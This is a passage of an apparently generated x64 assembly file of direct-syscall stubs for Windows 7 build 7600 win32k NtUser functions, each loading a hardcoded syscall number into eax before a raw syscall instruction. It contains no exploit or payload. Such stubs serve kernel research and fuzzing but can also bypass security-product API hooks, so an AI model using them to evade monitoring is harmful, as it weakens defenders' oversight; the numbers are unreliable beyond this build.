rcx mov eax , 4761 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDragDetect ENDP ; ULONG64 __stdcall NtUserDragObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserDragObject PROC STDCALL mov r10 , rcx mov eax , 4762 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDragObject ENDP ; ULONG64 __stdcall NtUserDrawAnimatedRects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserDrawAnimatedRects PROC STDCALL mov r10 , rcx mov eax , 4763 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDrawAnimatedRects ENDP ; ULONG64 __stdcall NtUserDrawCaption( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserDrawCaption PROC STDCALL mov r10 , rcx mov eax , 4764 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDrawCaption ENDP ; ULONG64 __stdcall NtUserDrawCaptionTemp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtUserDrawCaptionTemp PROC STDCALL mov r10 , rcx mov eax , 4765 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDrawCaptionTemp ENDP ; ULONG64 __stdcall NtUserDrawMenuBarTemp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserDrawMenuBarTemp PROC STDCALL mov r10 , rcx mov eax , 4766 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDrawMenuBarTemp ENDP ; ULONG64 __stdcall NtUserDwmStartRedirection( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserDwmStartRedirection PROC STDCALL mov r10 , rcx mov eax , 4767 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDwmStartRedirection ENDP ; ULONG64 __stdcall NtUserDwmStopRedirection( ); _6_1_7600_sp0_windows_7_NtUserDwmStopRedirection PROC STDCALL mov r10 , rcx mov eax , 4768 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDwmStopRedirection ENDP ; ULONG64 __stdcall NtUserEndMenu( ); _6_1_7600_sp0_windows_7_NtUserEndMenu PROC STDCALL mov r10 , rcx mov eax , 4769 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEndMenu ENDP ; ULONG64 __stdcall NtUserEndTouchOperation( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserEndTouchOperation PROC STDCALL mov r10 , rcx mov eax , 4770 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEndTouchOperation ENDP ; ULONG64 __stdcall NtUserEvent( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserEvent PROC STDCALL mov r10 , rcx mov eax , 4771 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEvent ENDP ; ULONG64 __stdcall NtUserFlashWindowEx( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserFlashWindowEx PROC STDCALL mov r10 , rcx mov eax , 4772 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserFlashWindowEx ENDP ; ULONG64 __stdcall NtUserFrostCrashedWindow( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserFrostCrashedWindow PROC STDCALL mov r10 , rcx mov eax , 4773 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserFrostCrashedWindow ENDP ; ULONG64 __stdcall NtUserGetAppImeLevel( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetAppImeLevel PROC STDCALL mov r10 , rcx mov eax , 4774 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetAppImeLevel ENDP ; ULONG64 __stdcall NtUserGetCaretPos( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetCaretPos PROC STDCALL mov r10 , rcx mov eax , 4775 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetCaretPos ENDP ; ULONG64 __stdcall NtUserGetClipCursor( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetClipCursor PROC STDCALL mov r10 , rcx mov eax , 4776 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetClipCursor ENDP ; ULONG64 __stdcall NtUserGetClipboardViewer( ); _6_1_7600_sp0_windows_7_NtUserGetClipboardViewer PROC STDCALL mov r10 , rcx mov eax , 4777 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetClipboardViewer ENDP ; ULONG64 __stdcall NtUserGetComboBoxInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetComboBoxInfo PROC STDCALL mov r10 , rcx mov eax , 4778 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetComboBoxInfo ENDP ; ULONG64 __stdcall NtUserGetCursorInfo( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetCursorInfo PROC STDCALL mov r10 , rcx mov eax , 4779 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetCursorInfo ENDP ; ULONG64 __stdcall NtUserGetDisplayConfigBufferSizes( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetDisplayConfigBufferSizes PROC STDCALL mov r10 , rcx mov eax , 4780 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetDisplayConfigBufferSizes ENDP ; ULONG64 __stdcall NtUserGetGestureConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserGetGestureConfig PROC STDCALL mov r10 , rcx mov eax , 4781 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetGestureConfig ENDP ; ULONG64 __stdcall NtUserGetGestureExtArgs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetGestureExtArgs PROC STDCALL mov r10 , rcx mov eax , 4782 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetGestureExtArgs ENDP ; ULONG64 __stdcall NtUserGetGestureInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetGestureInfo PROC STDCALL mov r10 , rcx mov eax , 4783 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetGestureInfo ENDP ; ULONG64 __stdcall NtUserGetGuiResources( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetGuiResources PROC STDCALL mov r10 , rcx mov eax , 4784 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetGuiResources ENDP ; ULONG64 __stdcall NtUserGetImeHotKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetImeHotKey PROC STDCALL mov r10 , rcx mov eax , 4785 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetImeHotKey ENDP ; ULONG64 __stdcall NtUserGetImeInfoEx( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetImeInfoEx PROC STDCALL mov r10 , rcx mov eax , 4786 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetImeInfoEx ENDP ; ULONG64 __stdcall NtUserGetInputLocaleInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetInputLocaleInfo PROC STDCALL mov r10 , rcx mov eax , 4787 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetInputLocaleInfo ENDP ; ULONG64 __stdcall NtUserGetInternalWindowPos( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetInternalWindowPos PROC STDCALL mov r10 , rcx mov eax , 4788 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetInternalWindowPos ENDP ; ULONG64 __stdcall NtUserGetKeyNameText( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetKeyNameText PROC STDCALL mov r10 , rcx mov eax , 4789 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetKeyNameText ENDP ; ULONG64 __stdcall NtUserGetKeyboardLayoutName( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetKeyboardLayoutName PROC STDCALL mov r10 , rcx mov eax , 4790 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetKeyboardLayoutName ENDP ; ULONG64 __stdcall NtUserGetLayeredWindowAttributes( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetLayeredWindowAttributes PROC STDCALL mov r10 , rcx mov eax , 4791 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetLayeredWindowAttributes ENDP ; ULONG64 __stdcall NtUserGetListBoxInfo( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetListBoxInfo PROC STDCALL mov r10 , rcx mov eax , 4792 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetListBoxInfo ENDP ; ULONG64 __stdcall NtUserGetMenuIndex( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetMenuIndex PROC STDCALL mov r10 , rcx mov eax , 4793 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetMenuIndex ENDP ; ULONG64 __stdcall NtUserGetMenuItemRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetMenuItemRect PROC STDCALL mov r10 , rcx mov eax , 4794 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetMenuItemRect ENDP ; ULONG64 __stdcall NtUserGetMouseMovePointsEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserGetMouseMovePointsEx PROC STDCALL mov r10 , rcx mov eax , 4795 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetMouseMovePointsEx ENDP ; ULONG64 __stdcall NtUserGetPriorityClipboardFormat( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetPriorityClipboardFormat PROC STDCALL mov r10 , rcx mov eax , 4796 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetPriorityClipboardFormat ENDP ; ULONG64 __stdcall NtUserGetRawInputBuffer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetRawInputBuffer PROC STDCALL mov r10 , rcx mov eax , 4797 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetRawInputBuffer ENDP ; ULONG64 __stdcall NtUserGetRawInputData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserGetRawInputData PROC STDCALL mov r10 , rcx mov eax , 4798 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetRawInputData ENDP ; ULONG64 __stdcall NtUserGetRawInputDeviceInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetRawInputDeviceInfo PROC STDCALL mov r10 , rcx mov eax , 4799 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetRawInputDeviceInfo ENDP ; ULONG64 __stdcall NtUserGetRawInputDeviceList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetRawInputDeviceList PROC STDCALL mov r10 , rcx mov eax , 4800 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetRawInputDeviceList ENDP ; ULONG64 __stdcall NtUserGetRegisteredRawInputDevices( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetRegisteredRawInputDevices PROC STDCALL mov r10 , rcx mov eax , 4801 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetRegisteredRawInputDevices ENDP ; ULONG64 __stdcall NtUserGetTopLevelWindow( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGetTopLevelWindow PROC STDCALL mov r10 , rcx mov eax , 4802 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetTopLevelWindow ENDP ; ULONG64 __stdcall NtUserGetTouchInputInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetTouchInputInfo PROC STDCALL mov r10 , rcx mov eax , 4803 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetTouchInputInfo ENDP ; ULONG64 __stdcall NtUserGetUpdatedClipboardFormats( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetUpdatedClipboardFormats PROC STDCALL mov r10 , rcx mov eax , 4804 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetUpdatedClipboardFormats ENDP ; ULONG64 __stdcall NtUserGetWOWClass( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetWOWClass PROC STDCALL mov r10 , rcx mov eax , 4805 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetWOWClass ENDP ; ULONG64 __stdcall NtUserGetWindowCompositionAttribute( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetWindowCompositionAttribute PROC STDCALL mov r10 , rcx mov eax , 4806 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetWindowCompositionAttribute ENDP ; ULONG64 __stdcall NtUserGetWindowCompositionInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetWindowCompositionInfo PROC STDCALL mov r10 , rcx mov eax , 4807 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetWindowCompositionInfo ENDP ; ULONG64 __stdcall NtUserGetWindowDisplayAffinity( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetWindowDisplayAffinity PROC STDCALL mov r10 , rcx mov eax , 4808 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetWindowDisplayAffinity ENDP ; ULONG64 __stdcall NtUserGetWindowMinimizeRect( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetWindowMinimizeRect PROC STDCALL mov r10 , rcx mov eax , 4809 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetWindowMinimizeRect ENDP ; ULONG64 __stdcall NtUserGetWindowRgnEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetWindowRgnEx PROC STDCALL mov r10 , rcx mov eax , 4810 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetWindowRgnEx ENDP ; ULONG64 __stdcall NtUserGhostWindowFromHungWindow( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserGhostWindowFromHungWindow PROC STDCALL mov r10 , rcx mov eax , 4811 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGhostWindowFromHungWindow ENDP ; ULONG64 __stdcall NtUserHardErrorControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserHardErrorControl PROC STDCALL mov r10 , rcx mov eax , 4812 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserHardErrorControl ENDP ; ULONG64 __stdcall NtUserHiliteMenuItem( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserHiliteMenuItem PROC STDCALL mov r10 , rcx mov eax , 4813 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserHiliteMenuItem ENDP ; ULONG64 __stdcall NtUserHungWindowFromGhostWindow( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserHungWindowFromGhostWindow PROC STDCALL mov r10 , rcx mov eax , 4814 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserHungWindowFromGhostWindow ENDP ; ULONG64 __stdcall NtUserHwndQueryRedirectionInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserHwndQueryRedirectionInfo PROC STDCALL mov r10 , rcx mov eax , 4815 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserHwndQueryRedirectionInfo ENDP ; ULONG64 __stdcall NtUserHwndSetRedirectionInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserHwndSetRedirectionInfo PROC STDCALL mov r10 , rcx mov eax , 4816 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserHwndSetRedirectionInfo ENDP ; ULONG64 __stdcall NtUserImpersonateDdeClientWindow( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserImpersonateDdeClientWindow PROC STDCALL mov r10 , rcx mov eax , 4817 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserImpersonateDdeClientWindow ENDP ; ULONG64 __stdcall NtUserInitTask( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 ); _6_1_7600_sp0_windows_7_NtUserInitTask PROC STDCALL mov r10 , rcx mov eax , 4818 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserInitTask ENDP ; ULONG64 __stdcall NtUserInitialize( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserInitialize PROC STDCALL mov r10 , rcx mov eax , 4819 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserInitialize ENDP ; ULONG64 __stdcall NtUserInitializeClientPfnArrays( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserInitializeClientPfnArrays PROC STDCALL mov r10 , rcx mov eax , 4820 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserInitializeClientPfnArrays ENDP ; ULONG64 __stdcall NtUserInjectGesture( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserInjectGesture PROC STDCALL mov r10 , rcx mov eax , 4821 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserInjectGesture ENDP ; ULONG64 __stdcall NtUserInternalGetWindowIcon( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserInternalGetWindowIcon PROC STDCALL mov r10 , rcx mov eax , 4822 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserInternalGetWindowIcon ENDP ; ULONG64 __stdcall NtUserIsTopLevelWindow( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserIsTopLevelWindow PROC STDCALL mov r10 , rcx mov eax , 4823 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserIsTopLevelWindow ENDP ; ULONG64 __stdcall NtUserIsTouchWindow( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserIsTouchWindow PROC STDCALL mov r10 , rcx mov eax , 4824 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserIsTouchWindow ENDP ; ULONG64 __stdcall NtUserLoadKeyboardLayoutEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtUserLoadKeyboardLayoutEx PROC STDCALL mov r10 , rcx mov eax , 4825 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserLoadKeyboardLayoutEx ENDP ; ULONG64 __stdcall NtUserLockWindowStation( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserLockWindowStation PROC STDCALL mov r10 , rcx mov eax , 4826 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserLockWindowStation ENDP ; ULONG64 __stdcall NtUserLockWorkStation( ); _6_1_7600_sp0_windows_7_NtUserLockWorkStation PROC STDCALL mov r10 , rcx mov eax , 4827 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserLockWorkStation ENDP ; ULONG64 __stdcall NtUserLogicalToPhysicalPoint( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserLogicalToPhysicalPoint PROC STDCALL mov r10 , rcx mov eax , 4828 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserLogicalToPhysicalPoint ENDP ; ULONG64 __stdcall NtUserMNDragLeave( ); _6_1_7600_sp0_windows_7_NtUserMNDragLeave PROC STDCALL mov r10 , rcx mov eax , 4829 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMNDragLeave ENDP ; ULONG64 __stdcall NtUserMNDragOver( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserMNDragOver PROC STDCALL mov r10 , rcx mov eax , 4830 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMNDragOver ENDP ; ULONG64 __stdcall NtUserMagControl( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserMagControl PROC STDCALL mov r10 , rcx mov eax , 4831 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMagControl ENDP ; ULONG64 __stdcall NtUserMagGetContextInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserMagGetContextInformation PROC STDCALL mov r10 , rcx mov eax , 4832 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMagGetContextInformation ENDP ; ULONG64 __stdcall NtUserMagSetContextInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserMagSetContextInformation PROC STDCALL mov r10 , rcx mov eax , 4833 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMagSetContextInformation ENDP ; ULONG64 __stdcall NtUserManageGestureHandlerWindow( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserManageGestureHandlerWindow PROC STDCALL mov r10 , rcx mov eax , 4834 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserManageGestureHandlerWindow ENDP ; ULONG64 __stdcall NtUserMenuItemFromPoint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserMenuItemFromPoint PROC STDCALL mov r10 , rcx mov eax , 4835 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMenuItemFromPoint ENDP ; ULONG64 __stdcall NtUserMinMaximize( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserMinMaximize PROC STDCALL mov r10 , rcx mov eax , 4836 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserMinMaximize ENDP ; ULONG64 __stdcall NtUserModifyWindowTouchCapability( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserModifyWindowTouchCapability PROC STDCALL mov r10 , rcx mov eax , 4837 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserModifyWindowTouchCapability ENDP ; ULONG64 __stdcall NtUserNotifyIMEStatus( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserNotifyIMEStatus PROC STDCALL mov r10 , rcx mov eax , 4838 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserNotifyIMEStatus ENDP ; ULONG64 __stdcall NtUserOpenInputDesktop( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserOpenInputDesktop PROC STDCALL mov r10 , rcx mov eax , 4839 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserOpenInputDesktop ENDP ; ULONG64 __stdcall NtUserOpenThreadDesktop( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserOpenThreadDesktop PROC STDCALL mov r10 , rcx mov eax , 4840 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserOpenThreadDesktop ENDP ; ULONG64 __stdcall NtUserPaintMonitor( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserPaintMonitor PROC STDCALL mov r10 , rcx mov eax , 4841 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserPaintMonitor ENDP ; ULONG64 __stdcall NtUserPhysicalToLogicalPoint( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserPhysicalToLogicalPoint PROC STDCALL mov r10 , rcx mov eax , 4842 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserPhysicalToLogicalPoint ENDP ; ULONG64 __stdcall NtUserPrintWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserPrintWindow PROC STDCALL mov r10 , rcx mov eax , 4843 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserPrintWindow ENDP ; ULONG64 __stdcall NtUserQueryDisplayConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserQueryDisplayConfig PROC STDCALL mov r10 , rcx mov eax , 4844 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserQueryDisplayConfig ENDP ; ULONG64 __stdcall NtUserQueryInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserQueryInformationThread PROC STDCALL mov r10 , rcx mov eax , 4845 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserQueryInformationThread ENDP ; ULONG64 __stdcall NtUserQueryInputContext( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserQueryInputContext PROC STDCALL mov r10 , rcx mov eax , 4846 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserQueryInputContext ENDP ; ULONG64 __stdcall NtUserQuerySendMessage( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserQuerySendMessage PROC STDCALL mov r10 , rcx mov eax , 4847 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserQuerySendMessage ENDP ; ULONG64 __stdcall NtUserRealChildWindowFromPoint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserRealChildWindowFromPoint PROC STDCALL mov r10 , rcx mov eax , 4848 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRealChildWindowFromPoint ENDP ; ULONG64 __stdcall NtUserRealWaitMessageEx( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserRealWaitMessageEx PROC STDCALL mov r10 , rcx mov eax , 4849 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRealWaitMessageEx ENDP ; ULONG64 __stdcall 